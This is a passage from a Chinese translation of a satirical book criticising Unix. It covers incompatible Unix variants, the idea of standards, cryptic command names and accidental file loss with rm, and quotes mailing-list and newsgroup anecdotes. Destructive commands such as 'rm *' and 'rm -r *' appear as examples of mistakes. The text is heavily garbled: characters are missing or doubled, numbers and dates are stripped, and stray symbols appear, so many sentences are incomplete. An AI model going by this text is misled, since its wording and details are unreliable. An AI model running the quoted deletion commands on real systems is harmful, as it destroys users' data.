真 是 忍 不 要 骂 这 些 家 两 。 毕 一 开 始 得 好 好 的 , 他 们 要 给 用 户户<br />
和 开 发发 者 提 供 通 用 的 Unix 环 境 , 一 转 眼 又 想 让 他 们 的 Unix 品 牌 比 争 对<br />
手手 好 一 点 点 增 几 个 特 色 、 改 一 能 , 再 提 供 更 好 的 管 理 ,<br />
然 你 就就 多 掏 钱 吧 。 有 油 蒙 了 心 才 相 信 这 些 鬼 。<br />
期 Sun, May : EDT<br />
来 自 约 翰 核 R 核 邓 宁 <br />
发发 给 jnc@allspice.lcs.mit.edu、UNIX 痛 者<br />
题 Unix 不 容 性 的 遗 言言<br />
期 Tue, May :: EDT<br />
来 自 诺 埃 尔尔 核 基 亚 帕 <br />
[…盚…盚]<br />
我 想 在 万 物 中 , 有 Unix 和 雪 花 一 , 没没 有 两 个 相 的 体 。<br />
我 深 然 , 并 且 想 起 了 外 一 个 故 事 。<br />
若 前 从 事 作 谋 生 时 , 我 在 一 个 件 小小 组 谋 得 差 事 。 他 们 要 编 写 一 个 宏 大 的 图<br />
形 用 户户 界 程程 序 , 计 划 和 板 件 一 起 卖 给 OEM 厂厂 商 , 而 开 发发 环 境 是 某 种 运 行 在 PDP- <br />
的 Unix。 我 的 是 估 各 种 Unix 体 , 让 它 们 在 各 种 类 似 Multibus 的 硬 件 运 行 ,<br />
看 哪 个 最 能 满 足 要 求 。<br />
估 的 过 程程 大 致 是 这 首 先 得 测 试 程程 序 , 就就 是 品 的 期 原原 型 , 然 编 译 并 且 在<br />
各 种 Unix 运 行 。 小小 菜 一 碟 , 我 想 。 然 而 ,, 某 个 供 商 把把 这 一 类 系 函 数 的 参参 数 <br />
序 都 改 过 了 , 看 看 这 ,Xenix 编 译 有 个 臭 虫 , 你 没没 法 现 字 节 粒 度 的 数 据据 , 你 得<br />
用 结 构 或或 者 联 或或 者 别 的 法 来 模 拟拟 。 咳 , 你 知 道 吗 ,Venix 的 伪 时 时 钟 不 能 用 ,<br />
你 得 自 己 现 一 份 。 真 是 恶 心 。<br />
至 于 哪 种 Unix 有 哪 种 毛毛 病 , 体 节 我 不 得 了 , 但 是 在 我 尝尝 试 过 的 五 个 版 中 , 没没 有<br />
哪 两 个 容 地 运 行 除 “Hello World!” 外 的 任 何 程程 序 !<br />
我 吃 惊 , 我 骇 然 , 我 万 万 没没 有 想 到 , 一 个 称 彼 容 的 操 作 系 系 列 , 然 彼 不<br />
容 到 这 个 程程 度 。 但 真 让 我 不 爽 的 是 别 的 *NIX 黑 们 对 毫毫 不 在 意 ! 他 们 的 度 像 是<br />
“ 这 就就 是 生 活 , 这 件 编 译 , 那 空空 接接 就就 行 了 , 到 有 什 么 大 不 了 的 ?”<br />
除 了 告 人 们 永永 不 要 指指 望 两 件 和 Unix 沾 边 的 东 西 容 , 我 不 知 道 这 个 故 事 还 有 什<br />
么 寓寓 意 。 对 了 , 来 我 那 个 件 小小 组 的 时 间 超 期 长 达 两 , 最 完 全 抛 了 Unix,<br />
并 转 向 MS-DOS。 用 他 们 的 , 这 是 推 出 品 的 唯 一 法 !<br />
<br />
译 注 Noel Chiappa。<br />
<br />
译 注 一 种 计 算 机 总 线 , 英 特 尔尔 于 首 发发 布 , 成 IEEE 总 线 。
关 于 Unix 的 迷 信 说 法<br />
· ·<br />
有 个 帖 子 发发 到 皮 特 核 纽 曼<br />
<br />
管 理 的 邮 件 列 表表 RISKS, 发发 帖 人 佩 特 核<br />
席 林<br />
<br />
是 一 程程 师 , 供 于 美 国 铝 业 验 的 用 数 学 与 计 算 机 技 术 部<br />
门 。 在 帖 子 中 , 佩 特 对 “ 标 准 ” 这 个 词 用 到 Unix 一 类 系 所 表表 达 的 概概<br />
念 提 出 彻 疑 真 的 标 准 , 他 写 到 , 是 针 对 诸 如 钢 梁 一 类 的 物 理 对 象<br />
而 言言 的 , 标 准 让 计 者 采 购 部 件 , 然 据据 能 规 格 组 装装 到 他 们 的 <br />
计 中 ,“ 如 果 零 件 的 规 格 不 确 , 那 么 建 方 的 律 师 就就 要 联 系 制 商 的 律 师 ,<br />
讨 赔 偿 和 惩 罚 。” 所 道 理 是 明 摆 着 的 , 于 担 心 承 担 任 , 大 多 数 <br />
很 老 , 反 一 般 很 快 就就 门 大 了 。<br />
当 用 到 件 系 时 , 标 准 的 概概 念 彻 味 了 。 随 便 拿 Unix 的 某 个 版<br />
来 看 , 它 究 满 足 了 什 么 规 范 ?POSIX?X/Open?CORBA? 这 些 标 准 当 中 ,<br />
各 行 是 的 空空 间 大 , 因 即 使 厂厂 商 不 遵 循 标 准 , 不 能 承 担 任 何 任 。<br />
每 个 厂 商 确 都 遵 循 了 这 些 自 行 计 的 标 准 , 但 彼 间 却 就就 是 水水 火 不 容 。<br />
Sun 最 近 布 , 要 联 NeXT 来 推 广 OpenStep 这 个 向 对 象 的 用 户户<br />
界 标 准 。 了 现 标 准 的 开 放 性 ,Sun 将将 要 把把 C++ 和 DOE 包 裹 在 Objective<br />
C 和 NEXTSTEP 外 。 不 是 没没 法 确 遵 循 哪 个 标 准 吗 ? 现 在 知 道 了 , 一 个 都<br />
不 能 少少 。<br />
希 望 除 了 遵 循 标 准 , 你 没没 有 别 的 事 情 做 。<br />
关 于 Unix 的 迷 信 说 法<br />
瘾 君 子 往 往 自 欺 欺 人 “ 大 麻 不 让 我 痴 呆 。”“ 我 就就 抽 一 快 克 。”<br />
“ 任 何 时 候 我 想 戒 就就 能 戒 。” 身 处 毒 品 黑 市 的 , 你 常 能 到 这 类 谎 言言 。<br />
于 Unix 的 信 是 存 在 的 , 还 有 一 个 经 销 商 网 传 。 或或 你 <br />
前 过 一 些 <br />
. Unix 是 标 准 的 。<br />
. Unix 快 高 效 。<br />
. Unix 是 万 能 的 操 作 系 。<br />
. Unix 小小 、 简 洁 、。<br />
<br />
译 注 Peter Neumann。<br />
<br />
译 注 Pete Schilling。<br />
<br />
译 注 Distributed Objects Everywhere,Sun 于 开 始 的 一 个 长 期 目 , 目 标 是 建 立立 一 个 分<br />
布 式 计 算 环 境 , 运 行 CORBA, 界 是 OpenStep。<br />
<br />
译 注 Crack, 一 种 高 纯 度 卡 因 。
· · UNIX, 第 一 种 病 毒<br />
. Shell 脚 和 管 道 是 组 复 杂 题 和 系 的 好 法 。<br />
. Unix 有 在 线 文 档 。<br />
. Unix 有 文 档 。<br />
. Unix 高 级 语 言言 写 成 。<br />
. X 和 Motif 让 Unix 和 苹 果 麦 金 塔 电 脑 一 友 好 简 洁 。<br />
. 程程 的 开 销 很 小小 。<br />
. Unix 首 引 入 了 <br />
• 层 文 件 系 <br />
• 电 子 邮 件<br />
• 网 互 和 因 特 网 协 <br />
• 程程 文 件 <br />
• 全 // 文 件 保 护<br />
• finger 命 <br />
• 对 I/O 备 的 一 致 <br />
. Unix 编 程程 环 境 生 效 率 很 高 。<br />
. Unix 是 现 操 作 系 。<br />
. Unix 被被 争 相 使 用 。<br />
. Unix 的 源 码 <br />
• 获 得<br />
• 理 解解<br />
• 从 厂厂 家 买 来 的 和 在 运 行 的 对 得 <br />
的 篇 幅 将将 讨 并 揭揭 穿穿 中 大 部 分 。
关 于 Unix 的 迷 信 说 法<br />
· ·
第 章 欢 迎 你 , 新 用 户 !<br />
如 六 发 子 弹 膛 的 俄 罗 斯 轮 盘 赌<br />
肯 核 汤汤 逊 有 一 辆 他 曾 参参 与 计 的 汽汽 车 。 这 辆 车 与 不 , 没没 有 度<br />
表表 、 油 表表 , 没没 有 愚 蠢蠢 的 指指 示 灯 讨 机 的 厌 。 如 果 机 行 了 错 误<br />
操 作 , 控 制 的 中 出 现 一 个 大 大 的 “?”。“ 有 经 验 的 机 ”, 汤汤 <br />
逊 ,“ 一 般 知 道 哪 出 了 题 。”<br />
盒 盒 匿匿 <br />
对 初 接接 触触 的 新 手手 ( 甚 至 是 老 手手 ), 计 算 机 系 需 要 友 好 些 。 一 个 得<br />
体 的 系 至 少少 这 招 待 自 己 的 人 :<br />
• 命 的 字 和 能 有 逻 辑 系<br />
• 小小 心 处 理 危 险 的 命 <br />
• 不 是 行 还 是 参参 数 解解 析 方 式 , 命 都 要 一 致 且 测<br />
• 易 得 且 易 读 的 在 线 文 档<br />
• 当 命 失 时 , 给 出 理 解解 和 有 用 的 错 误 反 馈<br />
如 果 用 大 楼楼 打 个 比 方 , 那 么 Unix 在 建 过 程程 中 , 从 没没 招 待 过 人 <br />
来 的 有 承 包 商 , 每 个 人 都 戴 着 全 帽 , 负 屋屋 子 某 个 完 的 角 落 。 这<br />
个 过 程程 中 有 个 很 大 的 悲 剧 ─睜─睜 人 机 效 程程 师 不 仅 从 参参 与 建 , 从 有<br />
人 意 到 这 个 题 或或 者 搞搞 个 规 划 。 所 到 了 现 在 , 抽 水水 马 桶 、 中 央 供 暖 、 窗窗<br />
户户 等 等 标 准 施 已 经 极 难 再 添 了 。 尽 管 如 , 建 筑 师 们 仍 然 Unix 的 <br />
计 而 骄 傲 , 因 他 们 并 不 介 意 睡 在 地 板 , 而 且 屋屋 子 还 没没 有 烟 火 探探 测 。<br />
在 生 的 大 部 分 时 间 ,Unix 是 大 学 和 业 界 的 研 究 对 象 。 随 着 廉<br />
价 作 站 的 爆 发发 ,Unix 作 件 入 了 新 时 。 发发 生 这 个 化 的 时 间<br />
不 难 追 溯 , 那 就就 是 厂厂 商 了 价 迎 那 些 没没 有 开 发发 需 求 的 用 户户 , 把把 C 编 译 <br />
从 标 准 件 包 中 剔 除 的 那 一 刻 虽 然 无 法 考 证 精 确 时 间 , 但 基 都 发发 生
· · 欢 迎 你 , 新 用 户 !<br />
在 。 所 ,Unix 厂厂 商 一 直 来 是 考 虑 程程 序 员 的 需 要 , 直 到 最<br />
近 才 开 始 真 心 最 用 户户 。 这 解解 释 了 厂厂 商 何 到 现 在 才 匆 编 写 图 形 界<br />
“ 替 换 ” 对 shell 程程 序 的 需 求 , 对 我 们 能 情 。<br />
神 秘 的 命 <br />
Unix 新 手手 总 是 对 Unix 的 命 感 到 惊 讶 。 在 DOS 和 麦 金 塔 再 多 教<br />
育 , 他 们 无 法 从 诸 如 cp、rm 和 ls 类 神 秘秘 的 两 字 母 命 体 到 高 贵 美 。<br />
什 么 命 的 字 如 化 ? 如 果 用 过 期 的 I/O 备 , 我 们<br />
就就 有 理 疑 , 是 ASR- 电 传 打 字 机 的 度 、 性 , 尤尤 是 键 成<br />
了 这 个 结 果 。 今 的 键 按按 照 力 反 馈 原原 理 制 , 按按 键 的 力 需 一 个<br />
微 开 , 但 是 过 去去 的 电 传 打 字 机 ( 至 少少 在 忆 中 ) 的 按按 键 行 程程 至 少少 有 半半 英<br />
寸 , 按按 键 的 力 需 要 发发 一 个 类 似 自 行 车 用 的 小小 型 发发 电 机 , 在 操 作 得 冒<br />
着 手手 指指 骨 折折 的 危 险 。<br />
如 果 当 时 尼 斯 和 肯 使 用 电 打 字 机 而 不 是 电 传 打 字 机 , 能 今 我<br />
们 敲 击 的 就就 不 是 “cp” 和 “rm”, 而 是 “copy” 和 “remove” 了 。 科 技 拓 <br />
我 们 的 选 择 , 时 限 制 我 们 的 选 择 , 这 就就 是 例 子 。<br />
多 过 去去 了 , 什 么 还 要 延 续 这 一 传 呢 ? 理 是 “ 无 法 撼撼 的 历<br />
史 伟 力 ”, 就就 是 那 些 业 已 存 在 的 码 和 书 籍 。 如 果 一 个 厂厂 商 用 remove 替<br />
了 rm, 那 么 不 仅 每 Unix 书 籍 都 不 再 用 于 这 一 系 , 每 个 使 用 rm 的<br />
shell 脚 需 要 修 改 。 该 厂厂 商 的 做 法 背 POSIX 标 准 。<br />
一 个 世 纪 前 , 于 打 字 高 手手 击 键 过 快 , 打 字 机 的 揿揿 杆 经 常 卡 , 于 是 <br />
程程 师 计 了 QWERTY 键 让 他 们 慢 来 。 今 的 计 算 机 键 不 再 卡 , 但 仍<br />
然 沿 袭袭 QWERTY 布 局 。 理 , 在 来 的 一 个 世 纪 中 , 我 们 将将 继 续 使 用 rm。<br />
事 故挦 总 会 发 生<br />
用 户户 十十 分 心 自 己 的 数 据据 和 文 件 他 们 使 用 计 算 机 来 生 、 分 析 和 存 储<br />
要 信 息 他 们 相 信 计 算 机 能 够 保 护 他 们 的 要 。 如 果 没没 有 这 份 信 任 ,<br />
他 们 和 计 算 机 的 系 就就 蒙 影 。Unix 辜 负 了 这 份 信 任 , 拒拒 保 护 使 用<br />
<br />
译 注 Teletype Corporation 于 生 的 电 传 打 字 机 。ASR- 的 式 型 是 Teletype Model ASR<br />
(Automatic Send and Receive), 配 有 孔 纸 带 阅 读 机 和 打 孔 机 。<br />
曾 有 人 肯 核 汤汤 逊 , 如 果 能 新 计 Unix 他 将将 做 什 么 修 改 , 答 曰 “ 我 在 creat 个 ‘e 盖 。”
事 故挦 总 会 发 生<br />
· ·<br />
危 险 命 的 用 户户 。 在 使 用 中 ,rm─睜─睜 专 事 删 除 文 件 的 命 ─睜─睜 就就 是 最<br />
危 险 的 。<br />
所 有 Unix 新 手手 都 经 历 过 “ 不 小小 心 ” 但 又 无 挽挽 回 地 删 除 要 文 件 , 即<br />
使 是 专 家 和 系 管 理 员 不 例 外 。 因 引 发发 的 时 间 、 精 力 损 失 和 文 件 恢 复 花<br />
, 每 能 高 达 几 百 万 美 。 这 个 题 值 得 解解 决 我 们 不 理 解解 何 Unix<br />
一 直 对 不 然 。 难 道 结 果 还 不 够 悲 惨 么 ?<br />
相 比 别 的 操 作 系 ,Unix 更 需 要 提 供 恢 复 删 除 能 , 原原 因 如 :<br />
. Unix 文 件 系 没没 有 版 能 。<br />
如 果 支 持 自 版 能 , 那 么 一 内 容 更 新 , 新 版 将将 被被 赋 予 新 文 件<br />
, 或或 者 给 扩扩 展展 编 , 因 能 保 留 前 的 内 容 , 新 版 冲 掉 老<br />
版 ─睜─睜 这 是 一 再 演 的 Unix 悲 剧 。<br />
. 对 错 误 处 理 和 检 查 ,Unix 程程 序 员 漫 不 经 心 到 了 犯 罪 的 程程 度 。<br />
因 多 程程 序 不 检 查 是 否 所 有 输 出 都 能 写 入 磁 , 有 些 甚 至 不 检 查 输<br />
出 文 件 是 否 创 建 , 但 运 行 完 毕 , 这 些 程程 序 删 除 输 入 文 件 倒 是 勤勤 快 得<br />
很 。<br />
. 扩扩 展展 通 配 符 Unix shell, 而 不 是 运 行 中 的 命 完 成 , 因 rm 无 法<br />
通 过 检 查 制 谋 杀 和 伤 害 。 即 使 DOS 要 提 示 一 “del *.*” 类<br />
有 潜 在 危 险 的 命 。 但 在 Unix , 文 件 删 除 命 无 法 知 道 用 户户 输 入 的<br />
究 是 <br />
还 是 <br />
% rm *<br />
% rm file file file ...<br />
如 果 保 存 用 户户 的 原原 始 输 入 , 然 传 给 被被 执执 行 的 命 , 或或 缓 解解 <br />
这 种 状 况 , 比 如 通 过 某 个 环 境 。<br />
. 删 除 是 永永 久 性 的 。<br />
Unix 没没 有 “ 反 删 除 ” 命 。 在 它 更 全 的 操 作 系 , 删 除 文 件 <br />
是 把把 文 件 所 占 用 的 磁 块 标 “ 用 ”, 然 移移 到 一 个 专 “ 已 删<br />
除 文 件 ” 准 备 的 特 殊 目 录 。 有 磁 满 了 , 这 些 块 才 新 启 用 。<br />
大 多 数 操 作 系 都 采 用 这 种 “ 两 走 , 先 回 收 再 清 空空 ” 的 方 式 返 还 文<br />
件 占 用 的 磁 块 。 这 又 不 是 什 么 火 箭 技 术 , 在 , 麦 金 塔 电 脑
· · 欢 迎 你 , 新 用 户 !<br />
就就 区 分 了 “ 扔 纸 篓 ” 和 “ 清 空空 纸 篓 ”, 而 TENEX 采 用 这 一 技 术 的 时<br />
间 更 要 回 溯 到 。<br />
DOS 和 Windows 提 供 的 能 更 象 U 型 污污 水水 管 , 而 不 是 废 纸 篓 。 这 两 个<br />
操 作 系 直 接接 删 除 文 件 , 但 如 果 用 户户 反 悔 了 , 至 少少 还 买 来 打<br />
捞 一 。 这 种 方 式 有 时 侯 是 行 的 。<br />
四 个 原原 因 狼 狈 奸 , 让 无 数 的 文 件 枉 死 。 在 Unix 前 , 人 们 就就<br />
理 解解 了 更 好 的 技 术 并 广 泛 采 用 , 但 自 从 接接 Unix 作 全 球 “ 标 准 ” 操 作 系<br />
, 这 些 技 术 反 而 在 失 传 。<br />
迎 来 到 来 世 界 。<br />
“rm” 就 是捔 终 结<br />
四 个 原原 因 交 互 作 用 , 最 演 成 真 发发 生 的 恐 怖 故 事 , 是<br />
alt.folklore.computers 新 闻 组 的 帖 子 和 回 帖 。<br />
期 Wed, Jan <br />
来 自 djones@megatest.uucp( 戴 核 琼 斯 )<br />
题 rm *<br />
新 闻 组 alt.folklore.computers <br />
是 否 有 人 曾 想 执执 行 命 :<br />
% rm *.o<br />
结 果 却 打 成 了 <br />
% rm *>o<br />
现 在 你 得 到 了 一 个 空空 文 件 ”o”, 及 大 的 空空 间 来 存 放 它 !<br />
事 , 你 能 “o” 文 件 得 不 到 , 因 shell 的 文 档 并 没没 有 明 确 建<br />
立立 “o” 的 时 机 , 是 在 扩扩 展展 通 配 符 前 还 是 ?Shell 大 概概 算 是 一 种 编 程程 语<br />
言言 吧 , 是 不 精 确 。<br />
期 Wed, Jan <br />
来 自 ram@attcan.uucp<br />
题 Re: rm *<br />
新 闻 组 alt.folklore.computers<br />
我 被被 rm 搞搞 过 。 有 我 想 从 磁 删 除 一 个 文 件 系 , 比 如 /usr/foo/bin。 前 我 已<br />
经 在 /usr/foo 删 除 了 一 部 分 <br />
<br />
译 注 DEC TOPS- 操 作 系 的 前 身 , BBN 于 开 发发 , 包 完 整 的 虚 拟拟 内 存 系 , 运 行 在<br />
PDP- 计 算 机 。<br />
<br />
译 注 Dave Jones。<br />
克 斯 核 格 斯 转 发发 到 UNIX 痛 者 。
事 故挦 总 会 发 生<br />
· ·<br />
% rm -r ./etc<br />
% rm -r ./adm<br />
…盚…盚 等 等 。 准 备 删 除 ./bin 目 录 时 , 我 敲 了 那 个 点 。 我 的 系 似 不 喜 这 个 。<br />
在 计 时 ,Unix 才 没没 有 考 虑 如 何 在 失 去去 /bin 目 录 运 行 。 智 能 的 系 <br />
给 用 户户 一 个 恢 复 的 机 ( 或或 着 至 少少 提 醒 用 户户 是 不 是 真 的 要 把把 系 搞搞 )。<br />
按按 照 Unix 粉 丝 的 观 点 , 偶 尔尔 的 文 件 误 删 是 常 情 况 , 不 信 请 看 <br />
comp.unix.questions 的 FAQ 摘摘 录 <br />
) 如 何 恢 复 被被 删 除 的 文 件 ?<br />
有 一 , 你 不 小小 心 执执 行 了 一 这 个 命 <br />
% rm * .foo<br />
然 发发 现 删 除 了 “*” 而 不 是 “*.foo”。 你 该 把把 这 当 作 成 人 仪 式 。<br />
当 然 称 的 系 管 理 员 该 时 备 份 。 所 你 最 好 他 们 手手 中 是 不 是 有 你 的 文 件 备<br />
份 。<br />
“ 成 人 仪 式 ”? 没没 有 任 何 别 的 厂厂 商 如 傲 慢 地 对 待 题 品 。“ 法 大<br />
人 , 油 箱 爆 炸 是 一 个 成 人 仪 式 。”“ 陪 团 的 先 生 女 士 们 , 我 们 将将 证 明 , 电<br />
锯 保 险 开 失 效 成 的 伤 害 不 过 是 用 户户 的 成 人 仪 式 。”“ 庭 , 请 容 我 证 明 ,<br />
被被 基 廷 先 生 骗 毕 生 积 蓄 是 那 些 休 的 成 人 仪 式 。” 好 得 很 , 好 得 很 。<br />
改挢 rm 的 行 也 不 是捔 法<br />
被被 rm 咬 了 几 , 用 户户 有 冲 将将 rm 作 “rm -i” 的 别 , 或或 者 更<br />
彻 一 些 , 整 个 替 换 掉 rm, 把把 所 有 将将 要 删 除 的 文 件 移 动 一 个 特 殊 的 隐 藏 目<br />
录 中 , 比 如 /.deleted。 这 种 把把 戏 让 用 户户 生 了 虚 的 全 感 。<br />
期 Mon, Apr :: <br />
来 自 尔尔 核 格 内 <br />
发发 给 UNIX 痛 者<br />
题 删 除 操 作<br />
在 我 们 的 系 ,“rm” 并 不 真 删 除 文 件 , 而 是 改 文 件 , 这 “undelete”( 不 是<br />
unrm) 类 的 就就 能 恢 复 被被 删 除 的 文 件 。<br />
这 个 能 让 我 删 除 文 件 时 不 那 么 小小 心 翼 翼 , 反 删 掉 了 总 能 找 回 来 。 厄 , 不 是<br />
“ 总 能 ”。Emacs 的 “ 删 除 文 件 ” 并 不 是 这 作 的 ,Dired 的 “D” 命 有 题 。 因 <br />
“ 改 而 不 删 除 ” 手手 法 并 非 操 作 系 文 件 模 型 的 一 部 分 , 而 是 人 塞 shell 命 的 技<br />
淫 , 不 过 这 个 命 碰 做 “rm”。<br />
所 , 现 在 我 脑 子 有 两 个 分 裂 的 概概 念 , 一 个 是 用 rm 删 除 文 件 , 一 个 是 用 它 方<br />
式 。 当 我 的 大 脑 要 我 的 手手 删 除 一 个 文 件 时 , 我 总 要 把把 这 两 个 概概 念 过 一 遍 。<br />
comp.unix.questions 是 一 个 国 BBS,Unix 菜 鸟 在 这 发发 , 回 答 的 人 对 Unix 外 的 世 界 一 无<br />
所 知 。 把把 芸 芸 生 被被 Unix 打 穿穿 脚 掌掌 的 经 历 积 攒 起 来 , 就就 成 了 这 个 FAQ 清 单 。
· · 欢 迎 你 , 新 用 户 !<br />
一 些 Unix 专 家 从 尔尔 的 法 归 缪 出 一 个 结 最 好 不 要 尝尝 试 把把 rm 类<br />
的 命 搞搞 得 更 友 好 。 虽 然 表表 达 和 我 们 不 一 , 但 意 思 差 不 多 , 按按 照 他 们 的 观<br />
点 , 想 让 Unix 更 友 好 结 果 往 往 得 反 。 很 不 幸 他 们 是 对 的 。<br />
期 Thu, Jan : CST<br />
来 自 merlyn@iwarp.intel.com( 兰 德 尔尔 核 L 核 施 瓦 茨 )<br />
题 不 要 改 命 的 行 !( 前 的 题 是 “ 回 复 rm *”)<br />
新 闻 组 alt.folklore.computers<br />
我 们 打 断 一 这 个 新 闻 组 的 讨 , 的 是 带 给 你 们 信 息 …盚…盚<br />
#ifdef SOAPBOX_MODE /* 搭 个 讲 先 */<br />
我 请 求 、 求 及 哀 求 大 家 , 千千 万 别 用 所 谓 “ 全 ” 的 命 去去 替 换 原原 来 的 命 。<br />
. 用 户户 往 往 没没 有 把把 替 换 命 放 在 .cshrc 的 确 置 , 结 果 那 些 确 需 要 “ 删 除 ” 文 件 的 脚<br />
得 神 秘秘 , 运 行 时 不 断 让 用 户户 确 认 , 或或 者 自 删 除 了 文 件 , 最 却 把把 磁 填 满 。<br />
. 误 删 文 件 的 果 是 无 法 完 全 消 除 的 , 如 果 保 护 了 某 个 常 用 的 命 , 用 户户 就就 能 而 且 肯<br />
定 生 觉 “ 每 个 作 都 撤撤 销 ”( 情 况 对 不 是 这 !)。<br />
. 如 果 管 理 员 ( 我 现 在 的 角 色 ) 被被 用 户户 到 端 前 帮 个 , 却 发发 现 命 的 行 与 常 不<br />
, 那 种 挫 折折 感 真 是 无 与 伦 比 , 尤尤 在 手手 边 还 有 四 个 紧 急 任 的 情 况 。<br />
如 果 你 需 要 删 除 前 让 用 户户 确 认 , 这 好 了 <br />
% alias del rm -i<br />
然 千千 万 不 要 再 用 “rm” 了 ! 我 的 , 到 有 多 难 啊 , 各 !?!<br />
# endif /* 我 完 了 */<br />
现 在 我 们 回 到 你 前 的 那 个 题 吧 。<br />
最 近 comp.unix.questions 有 过 一 卷 调 查 , 向 系 管 理 员 征 最<br />
喜 的 管 理 员 恐 怖 故 事 , 结 果 在 小小 时 内 就就 有 多 回 , 中 大 多<br />
数 都 是 前 谈 到 的 方 式 丢 失 文 件 。 很 有 趣 , 这 些 发发 帖 的 都 是 Unix 高 手 ,<br />
然 而 又 很 怪 , 就就 算 这 些 帖 子 涉 及 的 金 钱 损 失 已 经 有 几 百 万 美 , 但 遇 到<br />
“Unix 对 用 户户 不 友 好 ” 这 类 指指 时 , 他 们 中 的 大 多 数 还 是 要 站 出 来 辩 护 。<br />
对 用 户户 不 友 好 ?Unix 对 系 管 理 员 又 友 好 过 么 ? 请 看 <br />
期 Wed, Sep : EDT<br />
来 自 马 修 核 P 核 维 纳 <br />
发发 给 RISKS-LIST@kl.sri.com <br />
题 回 复 “ 一 按按 键 ”<br />
在 Unix , 即 使 是 有 经 验 的 用 户户 误 用 rm 成 大 损 失 。 我 从 没没 去去 编 写 一 个 <br />
全 的 rm 脚 , 因 我 没没 有 误 删 过 文 件 。 直 到 有 一 , 我 用 “!r” 复 执执 行 历 史 命 , 但<br />
惊 恐 地 发发 现 屏 幕 赫 然 回 显 着 “rm -r *”, 这 是 前 我 花 时 间 整 理 一 个 目 录 时 执执 行 过 的<br />
命 。<br />
<br />
译 注 Randal L. Schwartz。<br />
<br />
译 注 Matthew P Wiener。<br />
米 歇 尔尔 核 特 拉拉 弗 转 发发 到 UNIX 痛 者 。
始 终 如 一 的 前 冲 突<br />
· ·<br />
什 么 C Shell 不 能 有 个 选 历 史 录 ? 这 是 我 仅 有 的 一 误 删 或或 覆 文 件 , 但 对<br />
是 一 个 很 好 的 理 。<br />
很 凑 , 来 我 还 一 个 新 手手 输 入 恐 怖 的 命 “rm *”, 因 他 想 删 除 一 个 前 在 邮 件<br />
中 不 小小 心 建 的 文 件 “*”。 好 在 按按 照 字 母 序 , 一 个 排排 在 前 的 文 件 他 没没 有 写 权 限 , 因<br />
这 “ 删 除 一 切 ” 命 提 前 停 了 。<br />
这 个 帖 子 的 作 者 建 一 改 shell( 增 历 史 录 的 选 ), 来<br />
修 补补 “ 操 作 系 展展 开 通 配 符 ” 的 缺 陷 。 但 很 不 幸 , 这 个 “ 修 补补 ” 如 是 在<br />
渗 水水 的 墙 再 刷 一 层 漆 , 治治 标 不 治治 。<br />
始 终 如 一 的 前 冲 突<br />
什 么 做 测 的 命 ? 不 外 共 的 选 字 、 大 致 相 的 参参 数 序 ,<br />
及 在 能 时 生 相 似 的 输 出 。 了 现 一 致 性 , 需 要 有 某 个 中 心 机 构 负 <br />
颁 布 标 准 。 麦 金 塔 电 脑 做 到 了 , 那 是 因 的 用 程程 序 都 遵 循 一 份 <br />
苹 果 发发 行 的 指指 南 。 但 Unix 从 来 没没 有 这 种 机 构 , 导 致 的 结 果 就就 是 前 冲<br />
突突 有 的 要 求 选 前 横 线 (-), 有 的 要 求 不 有 的 读 标 准<br />
输 入 , 有 的 不 读 有 的 写 标 准 输 出 , 有 的 不 写 有 的 置 新 文 件 对 所 有<br />
人 写 , 有 的 不 置 有 的 报 告 错 误 , 有 的 不 报 告 有 的 在 选 和 文 件 <br />
间 空空 格 , 有 的 不 。<br />
Unix 是 个 验 品 , 目 的 是 建 立立 一 个 尽 能 净 简 洁 的 系 。 作 验 <br />
品 ,Unix 作 但 要 作 生 系 ,AT&T 的 研 究 者 们 失 了 。 操 作 系<br />
要 提 供 丰 富 的 能 , 才 对 大 多 数 人 有 用 。 反 如 果 系 身 没没 有 做 到 ,<br />
用 户户 就就 把把 能 移移 植植 到 层 框 架 。 大 卫卫 核 曼 金 斯 指指 出 , 除 了 在 AT&T,Unix<br />
没没 有 给 开 发发 者 提 供 任 何 计 好 的 框 架 供 增 能 , 这 能 是 成 Unix 的<br />
行 自 相 矛 盾 、 不 测 的 症 结 所 在 。<br />
期 Sat, Mar :: EST<br />
来 自 dm@think.com<br />
发发 给 UNIX 痛 者<br />
题 自 自 的 Unix 拥拥 趸<br />
Unix 拥拥 趸 吹 嘘 Unix 命 在 概概 念 很 简 洁 大 多 数 人 认 该 是 个 共 子 程程 序 的 能 ,<br />
都 被被 Unix 包 装装 成 一 个 完 整 的 命 , 还 有 各 自 的 参参 数 语 法 和 选 。<br />
这 个 想 法 身 并 不 , 因 无 需 借 任 何 别 的 解解 释 , 用 户户 就就 能 把把 简 单 的 子 程程 序 接接 起<br />
来 , 完 成 十十 分 强 大 的 能 。<br />
题 是 这 些 命 从 真 成 子 程程 序 , 所 用 户户 无 法 编 写 程程 序 与 接接 , 因 而 必 自 己<br />
再 现 一 个 表表 达 式 解解 析 ( 这 解解 释 了 什 么 ed、sed、grep 和 所 有 shell 对 “ 什 么 是<br />
表表 达 式 ?” 的 理 解解 大 体 相 , 但 又 参参 差 不 齐 )。<br />
好 吧 , 确 有 Unix 版 做 到 了 , 但 这 个 版 的 化 已 经 到 头 了 。
· · 欢 迎 你 , 新 用 户 !<br />
Unix 美 观 的 最 高 成 是 让 一 命 做 一 件 事 情 , 然 做 好 。 纯 粹 义 者 的 观<br />
点 ,“cat” 程程 序 的 做 法 是 不 对 的 在 伯 克 利 的 菜 鸟 程程 序 员 经 手手 , 这 个 续 输 出 多 个<br />
文 件 内 容 的 程程 序 然 有 选 (“ 儿 回 来 了 , 挥 舞 着 旗 帜 。 ” 罗 布 核 派 克 盒 盒 大 概概 是<br />
最 坚 的 Unix 简 约 义 者 盒 盒 如 是 )。<br />
在 业 余 程程 序 员 手手 , 这 Unix 哲 学 莫 妙 地 催 生 了 人 厌 恶 的 拙 劣 品 , 比 如 “head”<br />
和 “tail” 这 两 个 命 盒 盒 能 是 分 别 打 印 文 件 的 开 头 和 结 尾 部 分 。 尽 管 能 差 不 多 , 但<br />
二 者 是 不 的 程程 序 , 作 者 不 , 选 不 !<br />
要 热 力 学 第 二 律 依 然 成 立立 , 那 么 在 一 致 性 缺 失 和 混 乱 程程 度 ,Unix<br />
和 时 的 系 谓 大 莫 二 , 你 我 相 差 不 多 , 然 而 架 构 缺 陷 放 大 了<br />
混 乱 和 惊 讶 的 因 子 。 举 个 体 的 例 子 ,Unix 不 让 程程 序 看 到 被被 调 用 时 的 命 <br />
行 , 好 像 唯 恐 发发 生 自 燃 shell 扮 演 中 间 人 , 负 检 查 用 户户 输 入 再 拼 接接 成 调<br />
